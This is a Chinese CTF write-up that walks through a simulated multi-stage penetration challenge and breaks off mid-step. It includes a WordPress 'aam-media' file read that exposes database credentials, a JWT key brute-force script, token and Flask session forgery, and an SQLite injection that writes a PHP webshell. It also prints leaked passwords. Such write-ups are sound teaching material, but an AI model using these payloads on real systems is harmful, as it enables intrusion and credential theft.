ctfshow2025渗透赛复现

本文最后更新于 2025年1月12日 晚上

以下完全为模拟测试环境,如有相似纯属巧合。

第一层

启程

爆破一下密码

1

ctfshow{654321}

破解加密通讯

图片用zsteg看一下,有密文

2

base64解码得到

1
2
3
4
5
6
7
if __name__ == '__main__':
try:
import secretMessageResponse
except ImportError:
import pip
pip.main(['install', 'secretMessageResponse'])
from secretMessageResponse import printMessage

运行一下得到以下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
请使用组织分配的私钥解密后使用
----------------------------------------------------------
2024-12-16
gHgAsclUVPhWDv4S8Oa8SuRTDaj+V0dI4z2jrQwfvfSFWilWwMKwNULUI48UBLS2shZcm/yv2/e5Hq5VRDfXkdxCYQMdvdnvONtpm2yNiIaLpDV4Rs8fOXJ6kcaeT+mg4RkIIFgx35w4J1KgO72pSP8j1p+R9f9TNMafwJ91XmO4QTcOYkMKQMddKvhbyMXzJkSS0uZqEppNSIUnVX9b7m8PmMjV0uHShvb1Zc8UQWJWUJ3cOxwNasOeMQGxJrZXPkxIxDYzm3f0tXbCgvdgNZ8TQY7u+iCXjOtD6xnUsdSahnPq14BD30CilIfsG0r/klPHfxQ+psmHSX47Ylai0TtgfbHWJJ4lSo0ojMvTx6HYK8zmAoCmg4OGXDbv/IjJgYU1w24na0iXZCNtcjB9MLRNck00c20f/uS64Ss0Ixii8nmfsFOjQBCcIYN+HGmOnj5Uw8DVJrxlOmcfQciG3rzuIvYlbOdGMcyarTy2Ba7iZfoovYZObPscAwhNLWqbU4tuR78aOVxiXTFRY7+Y0x2eRT5sulcvB3vsKuDMlNrxaUgiFUohPBZGNsgQgyCPxxqk0NpUn0bbHLH+vBebjJxaim4AU28ctWW8xv7xpxVttb0EoohtK2cIHr79ep5XrU/rv4R58obD/o+QqI1Mrb4wwpX9tsL7ZbROw/MXJwM=
----------------------------------------------------------


请使用组织分配的私钥解密后使用
----------------------------------------------------------
2024-04-11
Z93Khatj+AWZcpPwIqu8LzbJ8xb8CuVMI8okE0qwoQD2IC2lixg77mJZireOrbW7zFkDsk1hP67dROJZwVUDrYot2g5GxX/xy7lGjIblUX4iJVUtP4mHqZUgKROaLoh/gippMpP+8Ik2X/QRBx5gdhq0xam+wuVC+77/tyu8Fd/DohKbAMp8aaJsFr/W4mLDZ1gv4JK+2O3l+bAvpodBRTzb0ld5zD2ueYvjTudoDjdanQP1oVTH7pkDO2Vb+SsdIyTi2C410JEOF4Qm8mzVHtiOunOcLVpAlQsM6/LdhqsTNelXl/Myb84NGxwGWVmx6j2QejiL7S1hHeHlmQ9ExHeURPdZAvKhgMCemYXu3BGlFq3ydb5SkqwLFvM4vJ6XUBcWkHT8eijBFF6Y7YgOv9GRvBTnsAQhUBp4W4EAMtXkDdToG+S8ZO7El8Gh8jaWC49n5CuUBRz3z2GeOVbsBamfLV06IO5v78jGHXig4saEFKHvYSIGewyUCVQEGoIR5xOTJBTUTePAdvQjfg28vZZxFB/hIYNDUHkaek1Mg1UH5HWGgsCX1In5hSX/9eBkznEhzeWnJ1yMsYkj+ddN34DLQSrHc83geXMcoW3Ah3cAQG8E8bszvKL3hme+T5rOeENjkOAgYhf84k4YlxDskdwvzyu8HkE9CSaBpDP6lKI=
----------------------------------------------------------


请使用组织分配的私钥解密后使用
----------------------------------------------------------
2024-03-05
ckDSthpl5DDJMpBE26Jqk8EjaSq7MUntdwLHPouwx6D38un6WQfLJ9wgDyjh9GA/ICJR7WrwWsVinr6y3u9w+ubMZ0mqmtnphzQraagk8NkKc1u1+qGp8llsud3C8mvJWa4GYa9KEhnACDHwppPKJDCfr1HKwPbR0NIi+1Aunmy6DeOKRkFwysnrSco5QiiC9+gdXFhQDmN9KEiYW6Pc3mWVbqFiJgRW3/Df6638oGPm6AUcgRnEWMKiluyN81frM9VNtCeJ64YrU6Rgx4D153YxNNQbLTcyCQMamHTrJnhxPojkuDqbEcU+iiN4offwrQyr4eEu9ecvmyD2w/n7pAOsVnqSzroBujVA+CK6Zq8Uie15mL5yWG9hD5ZcbSwnRmtqK3yl0Xl91hgn1JqcIEKtf+MnMQPr80uoxT3mz8IX8pyVnyyw1x6F+IK1I2G+5w6rUDjhzIbME5XB9hopwcswsXrMo9PP6/5Sz1noJrsu6k6WN8ZM0MyRIav+xuKP1+cYzlPSQZrMo3L4ieHQnBbsoyzGVf9QONMwaooGOrxu88ZWlGe8e7eyCzteeNSVOC2zqtQiwQJIgfp2UwTymA/cEjOICWVzUXwbE5wWUBPCLp2C/XWc82byrOHAFXHLOVKgolVToUpZ5uOvizgk/ahaxdGxGa9CrRyr6sf+goA=
----------------------------------------------------------

看着像RSA的内容,show一下内容

3

找到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import base64,datetime


message = {
"inputMessage_20241216" :'''gHgAsclUVPhWDv4S8Oa8SuRTDaj+V0dI4z2jrQwfvfSFWilWwMKwNULUI48UBLS2shZcm/yv2/e5Hq5VRDfXkdxCYQMdvdnvONtpm2yNiIaLpDV4Rs8fOXJ6kcaeT+mg4RkIIFgx35w4J1KgO72pSP8j1p+R9f9TNMafwJ91XmO4QTcOYkMKQMddKvhbyMXzJkSS0uZqEppNSIUnVX9b7m8PmMjV0uHShvb1Zc8UQWJWUJ3cOxwNasOeMQGxJrZXPkxIxDYzm3f0tXbCgvdgNZ8TQY7u+iCXjOtD6xnUsdSahnPq14BD30CilIfsG0r/klPHfxQ+psmHSX47Ylai0TtgfbHWJJ4lSo0ojMvTx6HYK8zmAoCmg4OGXDbv/IjJgYU1w24na0iXZCNtcjB9MLRNck00c20f/uS64Ss0Ixii8nmfsFOjQBCcIYN+HGmOnj5Uw8DVJrxlOmcfQciG3rzuIvYlbOdGMcyarTy2Ba7iZfoovYZObPscAwhNLWqbU4tuR78aOVxiXTFRY7+Y0x2eRT5sulcvB3vsKuDMlNrxaUgiFUohPBZGNsgQgyCPxxqk0NpUn0bbHLH+vBebjJxaim4AU28ctWW8xv7xpxVttb0EoohtK2cIHr79ep5XrU/rv4R58obD/o+QqI1Mrb4wwpX9tsL7ZbROw/MXJwM=''',
"inputMessage_20240411" : '''Z93Khatj+AWZcpPwIqu8LzbJ8xb8CuVMI8okE0qwoQD2IC2lixg77mJZireOrbW7zFkDsk1hP67dROJZwVUDrYot2g5GxX/xy7lGjIblUX4iJVUtP4mHqZUgKROaLoh/gippMpP+8Ik2X/QRBx5gdhq0xam+wuVC+77/tyu8Fd/DohKbAMp8aaJsFr/W4mLDZ1gv4JK+2O3l+bAvpodBRTzb0ld5zD2ueYvjTudoDjdanQP1oVTH7pkDO2Vb+SsdIyTi2C410JEOF4Qm8mzVHtiOunOcLVpAlQsM6/LdhqsTNelXl/Myb84NGxwGWVmx6j2QejiL7S1hHeHlmQ9ExHeURPdZAvKhgMCemYXu3BGlFq3ydb5SkqwLFvM4vJ6XUBcWkHT8eijBFF6Y7YgOv9GRvBTnsAQhUBp4W4EAMtXkDdToG+S8ZO7El8Gh8jaWC49n5CuUBRz3z2GeOVbsBamfLV06IO5v78jGHXig4saEFKHvYSIGewyUCVQEGoIR5xOTJBTUTePAdvQjfg28vZZxFB/hIYNDUHkaek1Mg1UH5HWGgsCX1In5hSX/9eBkznEhzeWnJ1yMsYkj+ddN34DLQSrHc83geXMcoW3Ah3cAQG8E8bszvKL3hme+T5rOeENjkOAgYhf84k4YlxDskdwvzyu8HkE9CSaBpDP6lKI=''',
"inputMessage_20240305" : '''ckDSthpl5DDJMpBE26Jqk8EjaSq7MUntdwLHPouwx6D38un6WQfLJ9wgDyjh9GA/ICJR7WrwWsVinr6y3u9w+ubMZ0mqmtnphzQraagk8NkKc1u1+qGp8llsud3C8mvJWa4GYa9KEhnACDHwppPKJDCfr1HKwPbR0NIi+1Aunmy6DeOKRkFwysnrSco5QiiC9+gdXFhQDmN9KEiYW6Pc3mWVbqFiJgRW3/Df6638oGPm6AUcgRnEWMKiluyN81frM9VNtCeJ64YrU6Rgx4D153YxNNQbLTcyCQMamHTrJnhxPojkuDqbEcU+iiN4offwrQyr4eEu9ecvmyD2w/n7pAOsVnqSzroBujVA+CK6Zq8Uie15mL5yWG9hD5ZcbSwnRmtqK3yl0Xl91hgn1JqcIEKtf+MnMQPr80uoxT3mz8IX8pyVnyyw1x6F+IK1I2G+5w6rUDjhzIbME5XB9hopwcswsXrMo9PP6/5Sz1noJrsu6k6WN8ZM0MyRIav+xuKP1+cYzlPSQZrMo3L4ieHQnBbsoyzGVf9QONMwaooGOrxu88ZWlGe8e7eyCzteeNSVOC2zqtQiwQJIgfp2UwTymA/cEjOICWVzUXwbE5wWUBPCLp2C/XWc82byrOHAFXHLOVKgolVToUpZ5uOvizgk/ahaxdGxGa9CrRyr6sf+goA=''',

}



def printMessage():
for key, value in message.items():
title = key.replace('inputMessage_', '')
print("\033[1;31m" + "请使用组织分配的私钥解密后使用" + "\033[0m")
title = datetime.datetime.strptime(title, '%Y%m%d').strftime('%Y-%m-%d')
print("----------------------------------------------------------")
print(title)
print(value)
print("----------------------------------------------------------")
print("\n")


# 最新流通公钥
def getPublicKey():
return b'''
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAmziayo9Tddo1FYdrtOsw
yjLYJ5frYKEwm4rQTsKU8UcdnnDRgms+ZmStoqlH/qi6x+D1K3fvvioCnGZLFHZw
BUqbgT5x+qUmUaVMll9FOT7ZJ05w8n8Ljqa1akzFMU5G7YbCr3vQwN63vwvD9/63
TDbXkJrv1fGl2rHpPwp5OPCUeCB3nIFIRCWHpJU7sHJqIP5vzV8KNJtbxgR+dhsz
dg+NhoBDUpxoVN5lzSKr2TMOLFLZaQR9AWOV/aHV8gjTkTLDZfc+XlfhxiDMTQdi
UTbk/tynpt+JFrDA8vL5/TOmuxgumqgXZIPGrIUbwloTYyHD/XXmvXu5KE8g3eMK
gxNxuEKM5bMTESBK9A7Q2Kj3eNp0Rvb5Aleg7h8/YbQemGelY/o5xpUyHgHjsfNQ
3j/xhdhVCNVaXZF64V/YVpvC9Cq29F7qI+bl6FlN7zSpuHB3QgNS1uXOmjBCsA7y
pZoWmdXeaLIO+I3kP48BBSmue4nidJifiK/kSOcZ0iegRXV1hyZ6pYdDE7hM5V5t
5tvayJ31zRQNT2ALAFeCDozVWELHTnphkPkQO+SOPglrVz0S1dXicqRofXWMj7PJ
OFkBpWIX0aywMIh1woEAawUs3RM2pfLUNtqUTfodSCmWlwcpGrBWG5NACx7csPFt
zWn8oPZfzL346at5DDIwD2kCAwEAAQ==
-----END PUBLIC KEY-----
'''

def enctryptMessage(message):
import base64
message_bytes = message.encode('utf-8')
message_base64 = base64.b64encode(message_bytes).decode('utf-8')
publicKey = getPublicKey()
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes
public_key = serialization.load_pem_public_key(publicKey, backend=default_backend())
encrypted = public_key.encrypt(
message_base64.encode('utf-8'),
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
encrypted_base64 = base64.b64encode(encrypted).decode('utf-8')
return encrypted_base64


printMessage()

写个脚本给出了n和e

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

pem_key = b'''
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAmziayo9Tddo1FYdrtOsw
yjLYJ5frYKEwm4rQTsKU8UcdnnDRgms+ZmStoqlH/qi6x+D1K3fvvioCnGZLFHZw
BUqbgT5x+qUmUaVMll9FOT7ZJ05w8n8Ljqa1akzFMU5G7YbCr3vQwN63vwvD9/63
TDbXkJrv1fGl2rHpPwp5OPCUeCB3nIFIRCWHpJU7sHJqIP5vzV8KNJtbxgR+dhsz
dg+NhoBDUpxoVN5lzSKr2TMOLFLZaQR9AWOV/aHV8gjTkTLDZfc+XlfhxiDMTQdi
UTbk/tynpt+JFrDA8vL5/TOmuxgumqgXZIPGrIUbwloTYyHD/XXmvXu5KE8g3eMK
gxNxuEKM5bMTESBK9A7Q2Kj3eNp0Rvb5Aleg7h8/YbQemGelY/o5xpUyHgHjsfNQ
3j/xhdhVCNVaXZF64V/YVpvC9Cq29F7qI+bl6FlN7zSpuHB3QgNS1uXOmjBCsA7y
pZoWmdXeaLIO+I3kP48BBSmue4nidJifiK/kSOcZ0iegRXV1hyZ6pYdDE7hM5V5t
5tvayJ31zRQNT2ALAFeCDozVWELHTnphkPkQO+SOPglrVz0S1dXicqRofXWMj7PJ
OFkBpWIX0aywMIh1woEAawUs3RM2pfLUNtqUTfodSCmWlwcpGrBWG5NACx7csPFt
zWn8oPZfzL346at5DDIwD2kCAwEAAQ==
-----END PUBLIC KEY-----
'''

public_key = serialization.load_pem_public_key(
pem_key,
backend=default_backend()
)
n = public_key.public_numbers().n
e = public_key.public_numbers().e

print("模数(n):", n)
print("公钥指数(e):", e)
#模数(n): 633246888504573920779824237508007735589231666589188021171575950939940255140086052090801972411182075806200277922264916256376952068104942084262732765302869757002336862151158422906662985191392193462511289187123754337854684702016396996198789908170728175626225281406256476216079863574750768787169969475152717430903460149705597463505143799487488630064694962535355825378265518133414832135165998125004282912865895836379205933895029154287788824317000843771251331435939410389957572552746410933103347212260533351406876584798128116835102705770834548333327952204414218313396767348386545933700371706780732081128764732828398879654027694999061445888984652196057717761623666471390226500419047354546009526849190038055817008252022472857695300387827500818231719929626707573775972451255428059119840669826086027702546510213791864358183204530776020004866770536545695330324167569777791175170044812028227494966458864002660598592490354017639158027968836329598282419666463285900175674408026881052737148611395153194390130628356104784358804158581294733196703476913434055209441802708485723455322985654447400945734717510509951259155462497189459983874690099575241597111904193711108488616566486665053884629084564364205319797812148684173057523812840684555544241901417
#公钥指数(e): 65537

题目给的提示是p和q

1
2
31764044218067306492147889531461768510318119973238219147743625781223517377940974553025619071173628007991575510570365772185728567874710285810316184852553098753128108078975486635418847058797903708712720921754985829347790065080083720032152368134209675749929875336343905922553986957365581428234650288535216460326756576870072581658391409039992017661511831846885941769553385318452234212849064725733948770687309835172939447056526911787218396603271670163178681907015237200091850112165224511738788059683289680749377500422958532725487208309848648092125981780476161201616645007489243158529515899301932222796981293281482590413681
19935965463251204093790728630387918548913200711797328676820417414861331435109809773835504522004547179742451417443447941411851982452178390931131018648260880134788113098629170784876904104322308416089636533044499374973277839771616505181221794837479001656285339681656874034743331472071702858650617822101028852441234915319854953097530971129078751008161174490025795476490498225822900160824277065484345528878744325480894129738333972010830499621263685185404636669845444451217075393389824619014562344105122537381743633355312869522701477652030663877906141024174678002699020634123988360384365275976070300277866252980082349473657

一个是p一个是q,写个RSA脚本解出私钥

然后再带入解密得到网址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Hash import SHA256
import base64

e = 65537
p = 31764044218067306492147889531461768510318119973238219147743625781223517377940974553025619071173628007991575510570365772185728567874710285810316184852553098753128108078975486635418847058797903708712720921754985829347790065080083720032152368134209675749929875336343905922553986957365581428234650288535216460326756576870072581658391409039992017661511831846885941769553385318452234212849064725733948770687309835172939447056526911787218396603271670163178681907015237200091850112165224511738788059683289680749377500422958532725487208309848648092125981780476161201616645007489243158529515899301932222796981293281482590413681
q = 19935965463251204093790728630387918548913200711797328676820417414861331435109809773835504522004547179742451417443447941411851982452178390931131018648260880134788113098629170784876904104322308416089636533044499374973277839771616505181221794837479001656285339681656874034743331472071702858650617822101028852441234915319854953097530971129078751008161174490025795476490498225822900160824277065484345528878744325480894129738333972010830499621263685185404636669845444451217075393389824619014562344105122537381743633355312869522701477652030663877906141024174678002699020634123988360384365275976070300277866252980082349473657

n = p * q
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

key = RSA.construct((n, e, d, p, q))
private_key = key.export_key()

encrypted_messages = {
"inputMessage_20241216": '''gHgAsclUVPhWDv4S8Oa8SuRTDaj+V0dI4z2jrQwfvfSFWilWwMKwNULUI48UBLS2shZcm/yv2/e5Hq5VRDfXkdxCYQMdvdnvONtpm2yNiIaLpDV4Rs8fOXJ6kcaeT+mg4RkIIFgx35w4J1KgO72pSP8j1p+R9f9TNMafwJ91XmO4QTcOYkMKQMddKvhbyMXzJkSS0uZqEppNSIUnVX9b7m8PmMjV0uHShvb1Zc8UQWJWUJ3cOxwNasOeMQGxJrZXPkxIxDYzm3f0tXbCgvdgNZ8TQY7u+iCXjOtD6xnUsdSahnPq14BD30CilIfsG0r/klPHfxQ+psmHSX47Ylai0TtgfbHWJJ4lSo0ojMvTx6HYK8zmAoCmg4OGXDbv/IjJgYU1w24na0iXZCNtcjB9MLRNck00c20f/uS64Ss0Ixii8nmfsFOjQBCcIYN+HGmOnj5Uw8DVJrxlOmcfQciG3rzuIvYlbOdGMcyarTy2Ba7iZfoovYZObPscAwhNLWqbU4tuR78aOVxiXTFRY7+Y0x2eRT5sulcvB3vsKuDMlNrxaUgiFUohPBZGNsgQgyCPxxqk0NpUn0bbHLH+vBebjJxaim4AU28ctWW8xv7xpxVttb0EoohtK2cIHr79ep5XrU/rv4R58obD/o+QqI1Mrb4wwpX9tsL7ZbROw/MXJwM=''',
"inputMessage_20240411": '''Z93Khatj+AWZcpPwIqu8LzbJ8xb8CuVMI8okE0qwoQD2IC2lixg77mJZireOrbW7zFkDsk1hP67dROJZwVUDrYot2g5GxX/xy7lGjIblUX4iJVUtP4mHqZUgKROaLoh/gippMpP+8Ik2X/QRBx5gdhq0xam+wuVC+77/tyu8Fd/DohKbAMp8aaJsFr/W4mLDZ1gv4JK+2O3l+bAvpodBRTzb0ld5zD2ueYvjTudoDjdanQP1oVTH7pkDO2Vb+SsdIyTi2C410JEOF4Qm8mzVHtiOunOcLVpAlQsM6/LdhqsTNelXl/Myb84NGxwGWVmx6j2QejiL7S1hHeHlmQ9ExHeURPdZAvKhgMCemYXu3BGlFq3ydb5SkqwLFvM4vJ6XUBcWkHT8eijBFF6Y7YgOv9GRvBTnsAQhUBp4W4EAMtXkDdToG+S8ZO7El8Gh8jaWC49n5CuUBRz3z2GeOVbsBamfLV06IO5v78jGHXig4saEFKHvYSIGewyUCVQEGoIR5xOTJBTUTePAdvQjfg28vZZxFB/hIYNDUHkaek1Mg1UH5HWGgsCX1In5hSX/9eBkznEhzeWnJ1yMsYkj+ddN34DLQSrHc83geXMcoW3Ah3cAQG8E8bszvKL3hme+T5rOeENjkOAgYhf84k4YlxDskdwvzyu8HkE9CSaBpDP6lKI=''',
"inputMessage_20240305": '''ckDSthpl5DDJMpBE26Jqk8EjaSq7MUntdwLHPouwx6D38un6WQfLJ9wgDyjh9GA/ICJR7WrwWsVinr6y3u9w+ubMZ0mqmtnphzQraagk8NkKc1u1+qGp8llsud3C8mvJWa4GYa9KEhnACDHwppPKJDCfr1HKwPbR0NIi+1Aunmy6DeOKRkFwysnrSco5QiiC9+gdXFhQDmN9KEiYW6Pc3mWVbqFiJgRW3/Df6638oGPm6AUcgRnEWMKiluyN81frM9VNtCeJ64YrU6Rgx4D153YxNNQbLTcyCQMamHTrJnhxPojkuDqbEcU+iiN4offwrQyr4eEu9ecvmyD2w/n7pAOsVnqSzroBujVA+CK6Zq8Uie15mL5yWG9hD5ZcbSwnRmtqK3yl0Xl91hgn1JqcIEKtf+MnMQPr80uoxT3mz8IX8pyVnyyw1x6F+IK1I2G+5w6rUDjhzIbME5XB9hopwcswsXrMo9PP6/5Sz1noJrsu6k6WN8ZM0MyRIav+xuKP1+cYzlPSQZrMo3L4ieHQnBbsoyzGVf9QONMwaooGOrxu88ZWlGe8e7eyCzteeNSVOC2zqtQiwQJIgfp2UwTymA/cEjOICWVzUXwbE5wWUBPCLp2C/XWc82byrOHAFXHLOVKgolVToUpZ5uOvizgk/ahaxdGxGa9CrRyr6sf+goA='''
}

def decrypt_message(encrypted_base64, private_key):
try:
key = RSA.import_key(private_key)
cipher = PKCS1_OAEP.new(key, hashAlgo=SHA256.new())
encrypted = base64.b64decode(encrypted_base64)
decrypted = cipher.decrypt(encrypted)
return base64.b64decode(decrypted).decode('utf-8')
except Exception as e:
return f"Decryption failed: {str(e)}"

print("Decrypted messages:")
print("-" * 50)
for label, encrypted_message in encrypted_messages.items():
date = label.replace('inputMessage_', '')
formatted_date = f"{date[:4]}-{date[4:6]}-{date[6:]}"
result = decrypt_message(encrypted_message, private_key)
print(f"{formatted_date}:")
print(result)
print("-" * 50)

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
--------------------------------------------------
2024-12-16:
Park:
你的行动已经暴露,24小时内迅速撤离,销毁所有资料,将现有资料统一上传到【任务中心】
发送人:Dylan
--------------------------------------------------
2024-04-11:
Park:
总部已经为你安排新的身份,请务必在3日内抵台,你的新身份是新竹县动物保护防疫所网络安全顾问,【任务中心】账号密码和你任职单位网站的数据库用户名密码一致,请尽快修改
发送人:Dylan
--------------------------------------------------
2024-03-05:
Park:
【任务中心】网址已变更为 https://task.ctfer.com ,请注意修改浏览器地址栏中的链接
发送人:Dylan
--------------------------------------------------

ctfshow{https://task.ctfer.com}

潜入敌营

搜索一下新*县动*保*防*所找到网址,扫一下发现是wordpress的模板,这里需要了解wp的配置是在wp-config.php里,

构造?aam-media=wp-config.php得到db内容(我也不明白参数的意义),得到

1
2
3
4
5
6
7
8
9
10
11
/** The name of the database for WordPress */
define( 'DB_NAME', 'hsinchug_wp1' );

/** MySQL database username */
define( 'DB_USER', 'hsinchug_wp1' );

/** MySQL database password */
define( 'DB_PASSWORD', 'Q.4Vyj8VCiedX1KYU5g05' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

ctfshow{hsinchug_wp1_Q.4Vyj8VCiedX1KYU5g05}

第二章

秘密潜伏

本关要求 提交dylan的电话号码

进入网站慢慢翻可以找到key,是4a4f7d6e8b5???0c7f,找一下是有个jwt的

4

写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import jwt
import itertools
import string

encoded_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJoc2luY2h1Z193cDEiLCJleHAiOjE3MzY2ODc1MDR9.jhAt8Axi7tjwj2uNzlyiDym0Fti66H3REB-hh2-v168"

key_prefix = "4a4f7d6e8b5"
key_suffix = "0c7f"

charset = string.ascii_letters + string.digits
def brute_force_key():
for comb in itertools.product(charset, repeat=3):
key = key_prefix + ''.join(comb) + key_suffix
try:
decoded = jwt.decode(encoded_jwt, key, algorithms=["HS256"])
print(f"Found key: {key}")
print(f"Decoded JWT: {decoded}")
return key
except jwt.exceptions.PyJWTError:
pass

print("密钥未找到。")
return None

# 开始暴力破解
brute_force_key()

得到了key: 4a4f7d6e8b5e3a0c7f

就可以进行伪造

5

6

访问getPhone得到电话号码(为啥是这个啊)

ctfshow{117447685307}

收集敌方身份信息

抓包截取发送Dylan的jwt值刷新进入他的页面

7

旁边目录也存在api,抓包看看(换jwt)

8

传值置空可以得到app根目录文件,发现3个敏感文件

测试了一番可以读到根目录的main.py.bak

9

整理好的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from flask import Flask, request, jsonify, session, redirect, url_for
import logging
from os.path import basename, join

# 创建 Flask 应用
app = Flask(__name__)

# 设置 SECRET_KEY 用于会话加密
app.config['SECRET_KEY'] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5'

# 根路由
@app.route('/', methods=['GET'])
def index():
session['user'] = 'guest'
return {'message': 'log server is running'}

# 会话检查
def check_session():
if 'user' not in session:
return False
if session['user'] != 'admin':
return False
return True

# 获取密钥路由
@app.route('/key', methods=['GET'])
def get_key():
if not check_session():
return {"message": "not authorized"}
else:
with open('/log_server_key.txt', 'r') as f:
key = f.read()
return {'message': 'key', 'key': key}

# 设置日志选项路由
@app.route('/set_log_option')
def set_log_option():
if not check_session():
return {"message": "not authorized"}

logName = request.args.get('logName')
logFile = request.args.get('logFile')

# 配置日志
app_log = logging.getLogger(logName)
app_log.addHandler(logging.FileHandler('./log/' + logFile))
app_log.setLevel(logging.INFO)

# 清空日志文件
clear_log_file('./log/' + logFile)

return {'message': 'log option set successfully'}

# 获取日志内容路由
@app.route('/get_log_content')
def get_log_content():
if not check_session():
return {"message": "not authorized"}

logFile = request.args.get('logFile')
path = join('log', basename(logFile))

# 读取并返回日志文件内容
with open(path, 'r') as f:
content = f.read()

return {'message': 'log content', 'content': content}

# 清空日志文件
def clear_log_file(file_path):
with open(file_path, 'w'):
pass

# 启动 Flask 应用
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=8888)

接着读取init_users.json文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"hsinchug_wp1": {
"username": "hsinchug_wp1",
"password": "Q.4Vyj8VCiedX1KYU5g05"
},
"dylan": {
"username": "dylan",
"password": "8f7a55c6d9a7d9a7"
},
"secret_user": {
"username": "root",
"password": "7y.(sc#Ac_"
}
}

得到了root的密码

ctfshow{7y.(sc#Ac_}

横向渗透

这题可以直接登录dylan的账户了,方便进行之后题目的操作

根据之前的py,先测试http://127.0.0.1:8888告诉了timeout,说明不对,去看到了有内网ip,爆破一下

10

整理一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Database TEST</title>
<script>
const DATABASE_SECRET_KEY = '0x8F7C71E8E82E4D1E';
</script>
</head>

<body>
<h1>Welcome to Database TEST</h1>
<p>This is a test page for database connection and queries.</p>
<form action="index.php" method="get">
<label for="name">Enter Database username:</label>
<input type="text" id="name" name="username" required>
<br><br>
<label for="password">Enter Database password:</label>
<input type="password" id="password" name="password" required>
<br><br>
<label for="dsn">Enter Database DSN:</label>
<input type="text" id="dsn" name="dsn" required>
<br><br>
<label for="query">Enter TEST Query:</label>
<input type="text" id="query" name="query" required>
<br><br>
<input type="submit" value="Submit">
</form>
</body>

<html>

ctfshow{0x8F7C71E8E82E4D1E}

第三章

跳岛战术

hint1:&

hint2:sqlite

根据上方的html文件发现是个常见的注入的前端,看index.php,

代码是提交数据库连接的dsn和数据库密码,然后测试sql语句,这里直接getshell,直接参考wp了(晨曦师傅太强了)

1
2
3
4
/?username=1%26password=1%26query=CREATE TABLE users (name TEXT);%26dsn=sqlite:b.php
/?username=1%26password=1%26query=INSERT INTO users (name) VALUES ('<?php file_put_contents("4.php","<?php system(\$_GET[0]);?>");?>');%26dsn=sqlite:b.php
/b.php
/4.php?0=ls

11

ctfshow{3f7a1d5a-d55d-4d9d-8d9a-d5d5d5d5d5d5}

邮箱迷云

12

得到密文简单分段一下可以得到邮箱

13

hacker_ctfshow@163.com/Hacker_ctfsh0w

14

邮箱验证有点麻烦,耐心一点

ctfshow{81192}

第四章

再下一城

本关要求

提交log_server_key.txt内容

前面得到了一个开了8888端口的运行文件,所以继续扫描

15

得到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
http://172.2.224.6:8888
{
"message": "log server is running"
}
request
User-Agent: python-requests/2.31.0

Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

response
Server: Werkzeug/2.2.2 Python/3.12.8

Date: Sun, 12 Jan 2025 06:53:11 GMT

Content-Type: application/json

Content-Length: 41

Vary: Cookie

Set-Cookie: session=eyJ1c2VyIjoiZ3Vlc3QifQ.Z4Nm1w.6V2Hm3s0rLEEY8Jo9XlHgri2tDE; HttpOnly; Path=/

Connection: close

明显就是python运行的,看一下cookie,需要伪造,前面给的密钥3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5

16

1
python flask_session_cookie_manager3.py decode -c eyJ1c2VyIjoiZ3Vlc3QifQ.Z4Nm1w.6V2Hm3s0rLEEY8Jo9XlHgri2tDE -s 3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5
1
python flask_session_cookie_manager3.py encode -s 3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5  -t "{'user': 'admin'}"

携带cookie访问 /key路由

1
curl -b  "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4Np5g.oyk-hACYrzVUJo_4y2uZXH37qDc" "http://172.2.224.6:8888/key"

17

ctfshow{4f5d1d5d-1d5d-1d5d1d5d1d5d}

顺藤摸瓜

本关要求

提交flask所在服务器的/etc/passwd 文件最后一行内容

回溯一下main.py的内容

日志放在set_log_option,需要执行?logName=werkzeug%26logFile=main.log(flask是基于werkzeug开发的)

1
curl -b  "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4Np5g.oyk-hACYrzVUJo_4y2uZXH37qDc" "http://172.2.224.6:8888/set_log_option%3flogName=werkzeug%2526logFile=main.log"

18

然后获取console的页面key

1
